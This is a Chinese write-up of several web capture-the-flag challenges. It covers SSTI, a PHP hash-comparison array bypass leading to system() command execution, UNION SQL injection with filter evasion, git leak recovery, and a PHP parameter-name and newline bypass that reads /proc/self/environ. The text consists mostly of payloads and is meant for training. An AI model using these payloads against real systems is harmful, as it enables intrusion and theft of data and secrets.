1、复读机
测了下存在 ssti
没什么说的 fenjing 秒了
2、你能在一秒内打出八句英文吗
每次出来的需要提交的内容都不一样
exp:
import requests
from bs4 import BeautifulSoup
session = requests.Session()
response = session.get('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/')
welcome_title = BeautifulSoup(response.content, 'html.parser').find('h1').text
print(f'欢迎信息: {welcome_title}')
text = BeautifulSoup(session.get('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/start').content, 'html.parser').find('p', id='text').text
print(f'需要打字的文本: {text}')
submit_response = session.post('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/submit', data={'user_input': text})
submit_soup = BeautifulSoup(submit_response.content, 'html.parser')
print(f'提交结果: {submit_soup.find("p").text}')
for idx, info in enumerate(submit_soup.find_all('p')):
print(f'额外信息 {idx + 1}: {info.text}')
拿到 flag:flag{2db4250f-9572-48f9-83cc-0e7258fcbae7}
3、遗失的拉链
目录扫描存在备份文件
下载 www.zip
发现有一个名为 pizwww.php 的文件
查看
审一下 php 代码:
get 传入 new,post 传入 star,要求二者不相等并且 new 经过 sha1 加密要等于 star 经过 md5 加密,则可以 post 传入 cmd 命令进行调用,有一点正则的过滤,之后输出返回结果。
采用数组绕过,payload:
pizwww.php?new[]=1
post:star[]=2&cmd=system("ls");
读取根目录下的 flag:
pizwww.php?new[]=1
post:star[]=2&cmd=system("tac /f*");
拿到 flag:flag{a51581ea-3ec4-4fd8-a369-e239eeed1ab8}
4、谢谢皮蛋 plus
闭合点是双引号,空格被过滤了,采用内敛注释绕过
查数据库名:
0"/**/union/**/select/**/database(),1#
查表名:
0"/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'#
查列名:
0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='Fl4g'#
发现 and 也被过滤了
采用逻辑与绕过:
0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/&&/**/table_name='Fl4g'#
想吐槽一下,列名都没改,过滤 and 的意义真不大。。。
用 week1 同样的 payload 就直接查出来了
查 flag:
0"/**/union/**/select/**/des,value/**/from/**/Fl4g#
拿到 flag:flag{12698df1-2813-478d-a464-75a50c823524
5、PangBai 过家家(2)
泄露的文件那就先目录扫描一下吧:
看到有 git 泄露
Githack 利用一下
下载到的文件似乎没什么
使用 git stash pop 将工作、暂存区的改动都恢复到工作区
发现如下地址:
BacKd0or.v2d23AOPpDfEW5Ca.php
访问
审一下代码:
主要就是满足:
if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
PHP 的非法参数名传参,简单绕一下:
在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
顺便说下这里回溯绕过和数组绕过都是不行的,回溯一般用于匹配不到的情况,这里是要求匹配成功,其次我传了下服务器直接处理不了,数组的话也是一般用于匹配不到,因为 preg_match 处理不了数组会直接返回 false,显然这里需要的是返回 true。
采用 %0a 换行截断,payload:
BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a
Post:papa=TfflxoU0ry7c
之后就是对call_user_func的利用:
第一个传入想要调用的函数,第二个传入函数的参数
命令执行成功
但是没有看到什么敏感文件,读一下环境变量:
/BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a
Post:papa=TfflxoU0ry7c&func=system&args=cat /proc/self/environ
还是被我找到了吧 pangbai
flag{6768c05d-8837-4e44-a396-3d7d043f21bf}
版权归原作者 My6n 所有, 如有侵权,请联系我们删除。